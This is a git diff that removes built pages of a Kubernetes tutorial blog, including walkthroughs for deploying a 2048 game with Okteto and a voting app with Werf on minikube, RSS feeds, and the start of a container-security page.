- => [2/2] COPY 2048 /usr/share/nginx/html                                                                            0.3s
- => exporting to image                                                                                               2.5s
- => => exporting layers                                                                                              0.1s
- => => exporting manifest sha256:79f1385595d70b82b4b5db52f5edddb1f4a06c79ded928926d48bb947a5322b6                    0.0s
- => => exporting config sha256:ecf1dac7fbfaa6cdcb88dd2bbc616edbbc96459b078f15199fe3ddd564c481de                      0.0s
- => => pushing layers                                                                                                1.6s
- => => pushing manifest for registry.cloud.okteto.net/sangam14/okteto-2048-game:okteto@sha256:79f1385595d70b82b4b5d  0.8s
- ✓  Image 'registry.cloud.okteto.net/sangam14/okteto-2048-game:okteto' successfully pushed
- ✓  Kubernetes service 'game' created
- ✓  Endpoint 'game' created
- ✓  Service 'game' created
- ✓  Compose 'Okteto-2048' successfully deployed
- ✓  Development environment 'Okteto-2048' successfully deployed
- i  Run 'okteto up' to activate your development container
-

Check it out Okteto Cloud

-

Okteto basically use technic all

-

-

Check it out enpoints

-

you will see application running

-

-

lets same app using kubernetes

-

okteto also provide capablities to build docker images remotely its means without installing docker you can now build docker images .

-

-➜  okteto build -t sangam14/okteto-2048-game:okteto .
- i  Building 'Dockerfile' in tcp://buildkit.cloud.okteto.net:443...
-[+] Building 5.9s (8/8) FINISHED                                                                                          
- => [internal] load build definition from buildkit-3724659360                                                        1.5s
- => => transferring dockerfile: 180B                                                                                 1.5s
- => [internal] load .dockerignore                                                                                    0.9s
- => => transferring context: 2B                                                                                      0.8s
- => [internal] load metadata for docker.io/library/nginx:latest                                                      0.9s
- => CACHED [1/3] FROM docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19  0.0s
- => => resolve docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19c0       0.0s
- => [internal] load build context                                                                                    0.9s
- => => transferring context: 4.66kB                                                                                  0.5s
- => [2/3] RUN chmod +x /usr/sbin/nginx                                                                               0.9s
- => [3/3] COPY 2048 /usr/share/nginx/html                                                                            0.3s
- => exporting to image                                                                                               2.1s
- => => exporting layers                                                                                              0.3s
- => => exporting manifest sha256:ad9bdd97413eddbcd25fe2d1c55992796848a314e33165235a307726dcadaf8a                    0.0s
- => => exporting config sha256:2f2ffc174a087bf9653029ec247279885a59e77887a259e592761ed4b06a3959                      0.0s
- => => pushing layers                                                                                                1.5s
- => => pushing manifest for docker.io/sangam14/okteto-2048-game:okteto@sha256:ad9bdd97413eddbcd25fe2d1c55992796848a  0.3s
- ✓  Image 'sangam14/okteto-2048-game:okteto' successfully pushed
-

Okteto Support Kubernetes , Kustomize also Helm charts

-
apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: nginx-deployment
-spec:
-  selector:
-    matchLabels:
-      app: nginx
-  replicas: 2
-  template:
-    metadata:
-      labels:
-        app: nginx
-    spec:
-      containers:
-      - name: nginx
-        image: docker.io/sangam14/okteto-2048-game:okteto
-        ports:
-        - containerPort: 80
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: nginx-service
-  labels:
-    app: nginx
-spec:
-  type: NodePort
-  ports:
-  - port: 8080
-    targetPort: 80
-    nodePort: 8080
-    protocol: TCP
-  selector:
-    app: nginx
-

Deploy Ngnix 2048 game app

-
➜  Okteto-2048 git:(main) ✗ kubectl apply -f 2048.yaml                        
-deployment.apps/nginx-deployment unchanged
-service/nginx-service configured
-➜  Okteto-2048 git:(main) ✗ kubectl apply -f 2048.yaml
-deployment.apps/nginx-deployment configured
-service/nginx-service configured
-

check it out endpoint

-

https://nginx-service-sangam14.cloud.okteto.net

-

-

Automate Inner loops

-

okteto manefist allow developer to execute as workflow as well as its

-
build:
-  nginx-deployment:
-    image: docker.io/sangam14/okteto-2048-game:okteto
-    context: .
-deploy:
-- kubectl apply -f 2048.yaml
-

// active developement mode on container

-
dev:
-  nginx-deployment:
-    command: bash
-    sync:
-    - 2048/:/usr/share/nginx/html
-    interface: 0.0.0.0
-    forward:
-    - 80:80
-

Build and Deploy Okteto App

-
➜  Okteto-2048 git:(main) ✗ okteto deploy --build     
- i  Using sangam14 @ cloud.okteto.com as context
- i  Building 'Dockerfile' in tcp://buildkit.cloud.okteto.net:443...
-[+] Building 8.0s (8/8) FINISHED                                                                                          
- => [internal] load .dockerignore                                                                                    0.6s
- => => transferring context: 2B                                                                                      0.5s
- => [internal] load build definition from buildkit-576543900                                                         0.9s
- => => transferring dockerfile: 179B                                                                                 0.8s
- => [internal] load metadata for docker.io/library/nginx:latest                                                      1.8s
- => [1/3] FROM docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19c0       0.0s
- => => resolve docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19c0       0.0s
- => [internal] load build context                                                                                    2.5s
- => => transferring context: 604.24kB                                                                                2.4s
- => CACHED [2/3] RUN chmod +x /usr/sbin/nginx                                                                        0.0s
- => [3/3] COPY 2048 /usr/share/nginx/html                                                                            0.2s
- => exporting to image                                                                                               2.2s
- => => exporting layers                                                                                              0.1s
- => => exporting manifest sha256:e7348f570cd90c473ff5e0707836843c092fb458809d211b8903ac2313725399                    0.0s
- => => exporting config sha256:67e7d8f2c044e9aa85651fdff97f15477cf7f32372315f94ef6c1d498f408fbf                      0.0s
- => => pushing layers                                                                                                1.9s
- => => pushing manifest for docker.io/sangam14/okteto-2048-game:okteto@sha256:e7348f570cd90c473ff5e0707836843c092fb  0.2s
- ✓  Image 'docker.io/sangam14/okteto-2048-game:okteto' successfully pushed
- i  Running 'kubectl apply -f 2048.yaml'
-deployment.apps/nginx-deployment configured
-service/nginx-service configured
-

Build and Deploy Okteto App

-
➜  Okteto-2048 git:(main) ✗ okteto up nginx-deployment 
- i  Using sangam14 @ cloud.okteto.com as context
- i  Images were already built. To rebuild your images run 'okteto build' or 'okteto deploy --build'
- i  Running 'kubectl apply -f 2048.yaml'
-deployment.apps/nginx-deployment unchanged
-service/nginx-service configured
- i  Images were already built. To rebuild your images run 'okteto build' or 'okteto deploy --build'
- ✓  Client certificates generated
-Installing dependencies...
-syncthing-macos-arm64-v1.23.1.zip  9.38 MiB / 9.38 MiB [-------------------------------------------] 100.00% 10.11 MiB p/s
- ✓  Dependencies successfully installed
- i  '.stignore' doesn't exist in folder '/Users/sangambiradar/Documents/GitHub/Okteto-2048/2048'.
- i  Okteto requires a '.stignore' file to ignore file patterns that help optimize the synchronization service.
- ?  Do you want to infer defaults for the '.stignore' file? (otherwise, it will be left blank) [Y/n]: y
- ✓  Persistent volume successfully attached
- ✓  Images successfully pulled
- ✓  Files synchronized
-    Context:   cloud.okteto.com
-    Namespace: sangam14
-    Name:      nginx-deployment
-    Forward:   8080 -> 8081
-
-root@nginx-deployment-okteto-6ff5f788c4-59wwn:/# ls
-bin   dev                  docker-entrypoint.sh  home  lib64  mnt  proc  run   srv  tmp  var
-boot  docker-entrypoint.d  etc                   lib   media  opt  root  sbin  sys  usr
-root@nginx-deployment-okteto-6ff5f788c4-59wwn:/# cd usr/share/nginx/html
-root@nginx-deployment-okteto-6ff5f788c4-59wwn:/usr/share/nginx/html# ls
-CONTRIBUTING.md  favicon.ico  index.html  js  meta  style
-root@nginx-deployment-okteto-6ff5f788c4-59wwn:/usr/share/nginx/html# cat index.html
-<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="utf-8">
-  <title>2048 on Okteto Cloud </title>
-
-  <link href="style/main.css" rel="stylesheet" type="text/css">
-  <link rel="shortcut icon" href="favicon.ico">
-  <link rel="apple-touch-icon" href="meta/apple-touch-icon.png">
-  <link rel="apple-touch-startup-image" href="meta/apple-touch-startup-image-640x1096.png" media="(device-width: 320px) and (device-height: 568px) and (-webkit-device-pixel-ratio: 2)"> <!-- iPhone 5+ -->
-  <link rel="apple-touch-startup-image" href="meta/apple-touch-startup-image-640x920.png"  media="(device-width: 320px) and (device-height: 480px) and (-webkit-device-pixel-ratio: 2)"> <!-- iPhone, retina -->
-  <meta name="apple-mobile-web-app-capable" content="yes">
-  <meta name="apple-mobile-web-app-status-bar-style" content="black">
-
-  <meta name="HandheldFriendly" content="True">
-  <meta name="MobileOptimized" content="320">
-  <meta name="viewport" content="width=device-width, target-densitydpi=160dpi, initial-scale=1.0, maximum-scale=1, user-scalable=no, minimal-ui">
-</head>
-<body>
-  <div class="container">
-    <div class="heading">
-      <h1 class="title">2048</h1>
-      <div class="scores-container">
-        <div class="score-container">0</div>
-        <div class="best-container">0</div>
-      </div>
-    </div>
-
-    <div class="above-game">
-      <p class="game-intro">Join the numbers and get to the <strong>2048 tile! </strong></p>
-      <a class="restart-button">New Game</a>
-    </div>
-
-    <div class="game-container">
-      <div class="game-message">
-        <p></p>
-        <div class="lower">
-                <a class="keep-playing-button">Keep going</a>
-          <a class="retry-button">Try again</a>
-        </div>
-      </div>
-
-      <div class="grid-container">
-        <div class="grid-row">
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-        </div>
-        <div class="grid-row">
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-        </div>
-        <div class="grid-row">
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-        </div>
-        <div class="grid-row">
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-          <div class="grid-cell"></div>
-        </div>
-      </div>
-
-      <div class="tile-container">
-
-      </div>
-    </div>
-
-    <p class="game-explanation">
-      <strong class="important">How to play:</strong> Use your <strong>arrow keys</strong> to move the tiles. When two tiles with the same number touch, they <strong>merge into one!</strong>
-    </p>
-    <hr>
-    <p>
-    <strong class="important">Note:</strong> This site is the official version of 2048. You can play it on your phone via <a href="http://git.io/2048">http://git.io/2048.</a> All other apps or sites are derivatives or fakes, and should be used with caution.
-    </p>
-    <hr>
-    <p>
-    Created by <a href="http://gabrielecirulli.com" target="_blank">Gabriele Cirulli.</a> Based on <a href="https://itunes.apple.com/us/app/1024!/id823499224" target="_blank">1024 by Veewo Studio</a> and conceptually similar to <a href="http://asherv.com/threes/" target="_blank">Threes by Asher Vollmer.</a>
-    </p>
-  </div>
-
-  <script src="js/bind_polyfill.js"></script>
-  <script src="js/classlist_polyfill.js"></script>
-  <script src="js/animframe_polyfill.js"></script>
-  <script src="js/keyboard_input_manager.js"></script>
-  <script src="js/html_actuator.js"></script>
-  <script src="js/grid.js"></script>
-  <script src="js/tile.js"></script>
-  <script src="js/local_storage_manager.js"></script>
-  <script src="js/game_manager.js"></script>
-  <script src="js/application.js"></script>
-</body>
-</html>
-root@nginx-deployment-okteto-6ff5f788c4-59wwn:/usr/share/nginx/html# touch index1.html
-root@nginx-deployment-okteto-6ff5f788c4-hkv5v:/usr/share/nginx/html# echo "sangam" > index1.html
-root@nginx-deployment-okteto-6ff5f788c4-hkv5v:/usr/share/nginx/html# cat index1.html 
-sangam
-

you can see change on your endpoints

-

https://nginx-service-sangam14.cloud.okteto.net/index1.html

-

-

Github Source code for above demo : - - -

-

-

Join CloudNativeFolks Community or Reach out to me on twitter @sangamtwts

- -
- - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/blog/okteto/index1.png b/public/blog/okteto/index1.png deleted file mode 100644 index fab0e0a..0000000 Binary files a/public/blog/okteto/index1.png and /dev/null differ diff --git a/public/blog/okteto/okteto-2048-game.png b/public/blog/okteto/okteto-2048-game.png deleted file mode 100644 index f8399e5..0000000 Binary files a/public/blog/okteto/okteto-2048-game.png and /dev/null differ diff --git a/public/blog/okteto/okteto-UI.png b/public/blog/okteto/okteto-UI.png deleted file mode 100644 index 8f6f25a..0000000 Binary files a/public/blog/okteto/okteto-UI.png and /dev/null differ diff --git a/public/blog/okteto/okteto-login.png b/public/blog/okteto/okteto-login.png deleted file mode 100644 index 008b734..0000000 Binary files a/public/blog/okteto/okteto-login.png and /dev/null differ diff --git a/public/blog/okteto/okteto.png b/public/blog/okteto/okteto.png deleted file mode 100644 index 24ab1a4..0000000 Binary files a/public/blog/okteto/okteto.png and /dev/null differ diff --git a/public/blog/werf/docker-desk.png b/public/blog/werf/docker-desk.png deleted file mode 100644 index 48c7f9d..0000000 Binary files a/public/blog/werf/docker-desk.png and /dev/null differ diff --git a/public/blog/werf/index.html b/public/blog/werf/index.html deleted file mode 100644 index 83c85ec..0000000 --- a/public/blog/werf/index.html +++ /dev/null @@ -1,543 +0,0 @@ - - - - - - - - -Werf A solution for implementing efficient and consistent software · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

Werf A solution for implementing efficient and consistent software

-
- -
-
-
-
-

- Werf A solution for implementing efficient and consistent software -

-
- - - -

- Sangam Biradar | February 19, 2023 -

- -
-
-
- -
- - - - -
-
- -

Install Werf

-
➜  ~  curl -sSLO https://werf.io/install.sh && chmod +x install.sh
-➜  ~ ./install.sh --version 1.2 --channel stable
-[INPUT REQUIRED] Current login shell is "zsh". Press ENTER to setup werf for this shell or choose another one.
-[b]ash/[z]sh/[a]bort? Default: zsh.
-z
-[INPUT REQUIRED] trdl is going to be installed in "/Users/sangambiradar/bin/". Add this directory to your $PATH in "/Users/sangambiradar/.zshrc" and "/Users/sangambiradar/.zprofile"? (strongly recommended)
-[y]es/[a]bort/[s]kip? Default: yes.
-yes
-[INFO] Installing trdl to "/Users/sangambiradar/bin/".
-
-[INFO] Adding werf repo to trdl.
-[INPUT REQUIRED] Add automatic werf activation to "/Users/sangambiradar/.zshrc" and "/Users/sangambiradar/.zprofile"? (recommended for interactive usage, not recommended for CI)
-[y]es/[a]bort/[s]kip? Default: yes.
-[INFO] werf installation finished successfully!
-[INFO] Open new shell session if you have enabled werf autoactivation or activate werf manually with:
-$ source $("/Users/sangambiradar/bin/trdl" use werf "1.2" "stable")
-

werf use trdl

-

trdl is an Open Source solution providing a secure channel for delivering updates from the Git repository to the end user.

-

-

Problems that trdl solves for you

-
    -
  • -

    Continuous delivery limitations

    -
      -
    • Continuous delivery via the CI system works well for the SaaS model, that is, for software
    • -
    • hosted on cloud servers. At the same time, you would be hard-pressed to find a tool that is as fast at delivering code to user devices.
    • -
    -
  • -
  • -

    Challenges related to implementing a secure delivery

    -
      -
    • What complicates things: -
        -
      • Software release and changes in release channels must only occur based on a collective decision of the team (quorum).
      • -
      • The system must protect against unauthorized access and data compromise.
      • -
      • The system must not be compromised by human mistakes, including regulation breaches.
      • -
      -
    • -
    -
  • -
  • -

    Package manager limitations

    -
      -
    • There are many package managers, but they all have common drawbacks:
    • -
    • Each platform requires its own manager.
    • -
    • The package creation process is complicated.
    • -
    • There is a lot of manual work involved: the user has to add the package source, find the package, and install/upgrade/uninstall it.
    • -
    -
  • -
-

verify werf cli installed or not

-
➜  ~ werf
-werf helps to implement and support Continuous Integration and Continuous       
-Delivery.
-
-Find more information at https://werf.io
-
-Delivery commands:
-  converge        Build and push images, then deploy application into Kubernetes
-  dismiss         Delete werf release from Kubernetes
-  bundle          Work with werf bundles: publish bundles into container        
-                  registry and deploy bundles into Kubernetes cluster
-
-Cleaning commands:
-  cleanup         Cleanup project images in the container registry
-  purge           Purge all project images in the container registry
-
-Helper commands:
-  ci-env          Generate werf environment variables for specified CI system
-  build           Build images
-  export          Export images
-  run             Run container for project image
-  kube-run        Run container for project image in Kubernetes
-  compose         Work with docker-compose
-  slugify         Print slugged string by specified format.
-  render          Render Kubernetes templates
-
-Low-level management commands:
-  config          Work with werf.yaml
-  managed-images  Work with managed images which will be preserved during       
-                  cleanup procedure
-  host            Work with werf cache and data of all projects on the host     
-                  machine
-  helm            Manage application deployment with helm
-  cr              Work with container registry: authenticate, list and remove   
-                  images, etc.
-  kubectl         kubectl controls the Kubernetes cluster manager
-
-Other commands:
-  synchronization Run synchronization server
-  completion      Generate bash completion scripts
-  version         Print version
-
-Use "werf <command> --help" for more information about a given command.
-
-Version: v1.2.205
-➜  ~ 
-

Setup Minikube for Werf

-
 ~ minikube start --vm=true --insecure-registry registry.example.com:80
-😄  minikube v1.30.0 on Darwin 13.3 (arm64)
-✨  Automatically selected the qemu2 driver. Other choices: virtualbox, ssh
-🌐  Automatically selected the builtin network
-❗  You are using the QEMU driver without a dedicated network, which doesn't support `minikube service` & `minikube tunnel` commands.
-To try the dedicated network see: https://minikube.sigs.k8s.io/docs/drivers/qemu/#networking
-💿  Downloading VM boot image ...
-    > minikube-v1.30.0-arm64.iso....:  65 B / 65 B [---------] 100.00% ? p/s 0s
-    > minikube-v1.30.0-arm64.iso:  330.67 MiB / 330.67 MiB  100.00% 16.06 MiB p
-👍  Starting control plane node minikube in cluster minikube
-💾  Downloading Kubernetes v1.26.3 preload ...
-    > preloaded-images-k8s-v18-v1...:  330.52 MiB / 330.52 MiB  100.00% 16.66 M
-🔥  Creating qemu2 VM (CPUs=2, Memory=4000MB, Disk=20000MB) ...
-🐳  Preparing Kubernetes v1.26.3 on Docker 20.10.23 ...
-    ▪ Generating certificates and keys ...
-    ▪ Booting up control plane ...
-    ▪ Configuring RBAC rules ...
-🔗  Configuring bridge CNI (Container Networking Interface) ...
-    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
-🔎  Verifying Kubernetes components...
-🌟  Enabled addons: storage-provisioner, default-storageclass
-🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default
-

--insecure-registry allows usage of Container Registry without TLS.

-

add on NGINX Ingress Controller & Container Registry to store images :

-
➜  ~ minikube addons enable ingress
-💡  ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub.
-You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS
-    ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794
-    ▪ Using image registry.k8s.io/ingress-nginx/controller:v1.7.0
-    ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794
-🔎  Verifying ingress addon...
-🌟  The 'ingress' addon is enabled
-➜  ~ minikube addons enable registry
-💡  registry is an addon maintained by Google. For any concerns contact minikube on GitHub.
-You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS
-    ▪ Using image gcr.io/google_containers/kube-registry-proxy:0.4
-    ▪ Using image docker.io/registry:2.8.1
-🔎  Verifying registry addon...
-🌟  The 'registry' addon is enabled
-

Create Ingress to access Container Registry:

-
ubectl apply -f - << EOF
----
-apiVersion: networking.k8s.io/v1
-kind: Ingress
-metadata:
-  name: registry
-  namespace: kube-system
-  annotations:
-    nginx.ingress.kubernetes.io/proxy-body-size: "0"
-spec:
-  rules:
-  - host: registry.example.com
-    http:
-      paths:
-      - path: /
-        pathType: Prefix
-        backend:
-          service:
-            name: registry
-            port:
-              number: 80
-EOF
-

Allow usage of Container Registry without TLS for docker:

-
{
-  "insecure-registries" : ["registry.example.com:80"]
-}
-

add above configuration key -

-
➜  ~   minikube start --vm=true --insecure-registry registry.example.com:80
-😄  minikube v1.30.0 on Darwin 13.3 (arm64)
-✨  Using the qemu2 driver based on existing profile
-👍  Starting control plane node minikube in cluster minikube
-🏃  Updating the running qemu2 "minikube" VM ...
-🐳  Preparing Kubernetes v1.26.3 on Docker 20.10.23 ...
-🔎  Verifying ingress addon...
-    ▪ Using image docker.io/registry:2.8.1
-🔎  Verifying Kubernetes components...
-    ▪ Using image gcr.io/google_containers/kube-registry-proxy:0.4
-🔎  Verifying registry addon...
-🌟  Enabled addons: storage-provisioner, ingress, default-storageclass, registry
-🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default
-

update hostfile and registry name

-
 ~ echo "$(minikube ip) vote.quickstart-application.example.com result.quickstart-application.example.com registry.example.com" | sudo tee -a /etc/hosts
-Password:
-10.0.2.15 vote.quickstart-application.example.com result.quickstart-application.example.com registry.example.com
-~ minikube ssh -- "echo $(minikube ip) registry.example.com | sudo tee -a /etc/hosts"
-10.0.2.15 registry.example.com
-

lets test out simple voting app

-
➜  ~ git clone https://github.com/werf/quickstart-application
-cd quickstart-application
-Cloning into 'quickstart-application'...
-remote: Enumerating objects: 1279, done.
-remote: Total 1279 (delta 0), reused 0 (delta 0), pack-reused 1279
-Receiving objects: 100% (1279/1279), 1.05 MiB | 5.09 MiB/s, done.
-Resolving deltas: 100% (515/515), done.
-

we have voting , result and working dockerfile in werf.yaml

-
  quickstart-application git:(main) cat werf.yaml 
-configVersion: 1
-project: quickstart-application
----
-image: vote
-dockerfile: Dockerfile
-context: vote
----
-image: result
-dockerfile: Dockerfile
-context: result
----
-image: worker
-dockerfile: Dockerfile
-context: worker
-

werf converge

-
werf converge --repo registry.example.com:80/quickstart-application                                                                             
-Version: v1.2.205
-Using werf config render file: /private/var/folders/xy/3ssjv1j152x3_0ryt4yb982c0000gn/T/werf-config-render-1406655825
-
-┌ Concurrent builds plan (no more than 5 images at the same time)
-│ Set #0:
-│ - ⛵ image vote
-│ - ⛵ image result
-│ - ⛵ image worker
-└ Concurrent builds plan (no more than 5 images at the same time)
-
-┌ ⛵ image vote
-│ ┌ Copy suitable stage from secondary :local
-│ │ Use cache image for vote/dockerfile
-│ │      name: registry.example.com:80/quickstart-application:08900098c0a1a06586f8909a6b77927db90bbd21b5a089330ccd6e35-1680637511061
-│ │        id: 2cb9949aa002
-│ │   created: 2023-04-05 01:15:10 +0530 IST
-│ │      size: 51.2 MiB
-│ └ Copy suitable stage from secondary :local (33.85 seconds)
-└ ⛵ image vote (111.86 seconds)
-
-┌ ⛵ image result
-│ ┌ Copy suitable stage from secondary :local
-│ │ Use cache image for result/dockerfile
-│ │      name: registry.example.com:80/quickstart-application:78557a576585e3acba6868f3d28b70b601affb6364e377918b355f8b-1680637519961
-│ │        id: c14efe2c5cae
-│ │   created: 2023-04-05 01:15:19 +0530 IST
-│ │      size: 53.0 MiB
-│ └ Copy suitable stage from secondary :local (43.51 seconds)
-└ ⛵ image result (91.21 seconds)
-
-┌ ⛵ image worker
-│ ┌ Copy suitable stage from secondary :local
-│ │ Use cache image for worker/dockerfile
-│ │      name: registry.example.com:80/quickstart-application:f5eab243c67a973041e7f92ee9f5ff39d0d671536814a10bac957e82-1680637550923
-│ │        id: 74a6e53feb05
-│ │   created: 2023-04-05 01:15:50 +0530 IST
-│ │      size: 74.2 MiB
-│ └ Copy suitable stage from secondary :local (33.76 seconds)
-└ ⛵ image worker (96.56 seconds)
-
-Release "quickstart-application" does not exist. Installing it now.
-
-┌ Waiting for resources to become ready
-│ ┌ Status progress
-│ │ DEPLOYMENT                                                                                                                                  REPLICAS                  AVAILABLE                    UP-TO-DATE                                      
-│ │ db                                                                                                                                          1/1                       0                            1                                               
-│ │ │   POD                                                   READY               RESTARTS                   STATUS                             ---                                                                                                    
-│ │ └── 6676664f7d-sz6ct                                      0/1                 0                          ContainerCreating                  Waiting for: available 0->1                                                                            
-│ │ redis                                                                                                                                       1/1                       0                            1                                               
-│ │ result                                                                                                                                      1/1                       0                            1                                               
-│ │ vote                                                                                                                                        1/1                       0                            1                                           ↵
-│ │     
-│ │ worker                                                                                                                                      1/1                       0                            1                                               
-│ │ │   POD                                                   READY               RESTARTS                   STATUS                             ---                                                                                                    
-│ │ └── 77b4769cd4-qlhkm                                      0/1                 0                          ContainerCreating                  Waiting for: available 0->1                                                                            
-│ │ RESOURCE                                                                                                NAMESPACE                         CONDITION: CURRENT (DESIRED)                                                                             
-│ │ Service/vote                                                                                            quickstart-application            -                                                                                                        
-│ │ Service/db                                                                                              quickstart-application            -                                                                                                        
-│ │ Service/redis                                                                                           quickstart-application            -                                                                                                        
-│ │ Service/result                                                                                          quickstart-application            -                                                                                                    ↵
-│ │     
-│ │ Ingress/quickstart-application                                                                          quickstart-application            -                                                                                                        
-│ └ Status progress
-│ 
-  
-

you will see results

-
    -
  • Go to the following URL to vote: vote.quickstart-application.example.com
  • -
  • Go to the following URL to check the result of voting: result.quickstart-application.example.com
  • -
-

for more example check it out : https://werf.io/documentation/v1.2/usage/deploy/overview.html

-

Join CloudNativeFolks Community or Reach out to me on twitter @sangamtwts

- -
- - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/blog/werf/trdl.png b/public/blog/werf/trdl.png deleted file mode 100644 index 1333a4a..0000000 Binary files a/public/blog/werf/trdl.png and /dev/null differ diff --git a/public/blog/werf/werf.png b/public/blog/werf/werf.png deleted file mode 100644 index bef5fd7..0000000 Binary files a/public/blog/werf/werf.png and /dev/null differ diff --git a/public/categories/index.xml b/public/categories/index.xml deleted file mode 100644 index 7fdd489..0000000 --- a/public/categories/index.xml +++ /dev/null @@ -1,19 +0,0 @@ - - - - Categories on kubedaily - https://kubedaily.com/categories/ - Recent content in Categories on kubedaily - Hugo -- gohugo.io - en - Sun, 19 Feb 2023 00:00:00 +0000 - - - Kubernetes - https://kubedaily.com/categories/kubernetes/ - Sun, 19 Feb 2023 00:00:00 +0000 - https://kubedaily.com/categories/kubernetes/ - - - - diff --git a/public/categories/kubernetes/index.xml b/public/categories/kubernetes/index.xml deleted file mode 100644 index 8752aeb..0000000 --- a/public/categories/kubernetes/index.xml +++ /dev/null @@ -1,48 +0,0 @@ - - - - Kubernetes on kubedaily - https://kubedaily.com/categories/kubernetes/ - Recent content in Kubernetes on kubedaily - Hugo -- gohugo.io - en - Sun, 19 Feb 2023 00:00:00 +0000 - - - Flannel is a network fabric for containers, designed for Kubernetes. - https://kubedaily.com/blog/flannel/ - Fri, 17 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/flannel/ - kubenetes networking Networking details Platforms like Kubernetes assume that each container (pod) has a unique, routable IP inside the cluster. The advantage of this model is that it removes the port mapping complexities that come from sharing a single host IP. -Flannel is responsible for providing a layer 3 IPv4 network between multiple nodes in a cluster. Flannel does not control how containers are networked to the host, only how the traffic is transported between hosts. - - - Arkade Open Source Marketplace for Kubernetes - https://kubedaily.com/blog/arkade-open-source-marketplace-for-kubernetes/ - Mon, 13 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/arkade-open-source-marketplace-for-kubernetes/ - Getting started with Arkade CLI Macos/Linux ~ curl -sLS https://get.arkade.dev | sudo sh Password: Downloading package https://github.com/alexellis/arkade/releases/download/0.9.7/arkade-darwin-arm64 as /tmp/arkade-darwin-arm64 Download complete. Running with sufficient permissions to attempt to move arkade to /usr/local/bin New version of arkade installed to /usr/local/bin Creating alias &#39;ark&#39; for &#39;arkade&#39;. _ _ __ _ _ __| | ____ _ __| | ___ / _` | &#39;__| |/ / _` |/ _` |/ _ \ | (_| | | | &lt; (_| | (_| | __/ \__,_|_| |_|\_\__,_|\__,_|\___| Open Source Marketplace For Developer Tools Version: 0. - - - CertManager - Automatically provision and manage TLS certificates in Kubernetes - https://kubedaily.com/blog/certmanager/ - Tue, 14 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/certmanager/ - Start Minikube minikube-certmanager git:(main) minikube start 😄 minikube v1.30.0 on Darwin 13.3.1 (arm64) ✨ Using the docker driver based on existing profile 👍 Starting control plane node minikube in cluster minikube 🚜 Pulling base image ... 🏃 Updating the running docker &#34;minikube&#34; container ... ❗ Image was not built for the current minikube version. To resolve this you can delete and recreate your minikube cluster using the latest images. Expected minikube version: v1. - - - Okteto Develop your applications directly in your Kubernetes Cluster - https://kubedaily.com/blog/okteto/ - Sat, 18 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/okteto/ - Getting started with Oketo CLI Macos/Linux ➜ curl https://get.okteto.com -sSfL | sh &gt; Using Release Channel: stable &gt; Using Version: 2.14.0 &gt; Downloading https://downloads.okteto.com/cli/stable/2.14.0/okteto-Darwin-arm64 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 74.8M 100 74.8M 0 0 20.0M 0 0:00:03 0:00:03 --:--:-- 20.0M Login into Okteto Cloud via Github Account Configuring Okteto CLI with Okteto Cloud ➜ okteto context A context defines the default cluster/namespace for any Okteto CLI command. - - - Werf A solution for implementing efficient and consistent software - https://kubedaily.com/blog/werf/ - Sun, 19 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/werf/ - Install Werf ➜ ~ curl -sSLO https://werf.io/install.sh &amp;&amp; chmod +x install.sh ➜ ~ ./install.sh --version 1.2 --channel stable [INPUT REQUIRED] Current login shell is &#34;zsh&#34;. Press ENTER to setup werf for this shell or choose another one. [b]ash/[z]sh/[a]bort? Default: zsh. z [INPUT REQUIRED] trdl is going to be installed in &#34;/Users/sangambiradar/bin/&#34;. Add this directory to your $PATH in &#34;/Users/sangambiradar/.zshrc&#34; and &#34;/Users/sangambiradar/.zprofile&#34;? (strongly recommended) [y]es/[a]bort/[s]kip? Default: yes. yes [INFO] Installing trdl to &#34;/Users/sangambiradar/bin/&#34;. - - - diff --git a/public/containersecurity/attack-surface-of-the-container-ecosystem/index.html b/public/containersecurity/attack-surface-of-the-container-ecosystem/index.html deleted file mode 100644 index e1285cd..0000000 --- a/public/containersecurity/attack-surface-of-the-container-ecosystem/index.html +++ /dev/null @@ -1,591 +0,0 @@ - - - - - - - - -Attack surface of the container ecosystem · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Attack surface of the container ecosystem

-
-
- - -

Container Technology Archiecture

-
    -
  1. Developer systems (generate images and send them to testing and accreditation)
  2. -
  3. Testing and accreditation systems (validate and verify the contents of images, sign -images, and send images to the registry)
  4. -
  5. Registries (store images and distribute images to the orchestrator upon request)
  6. -
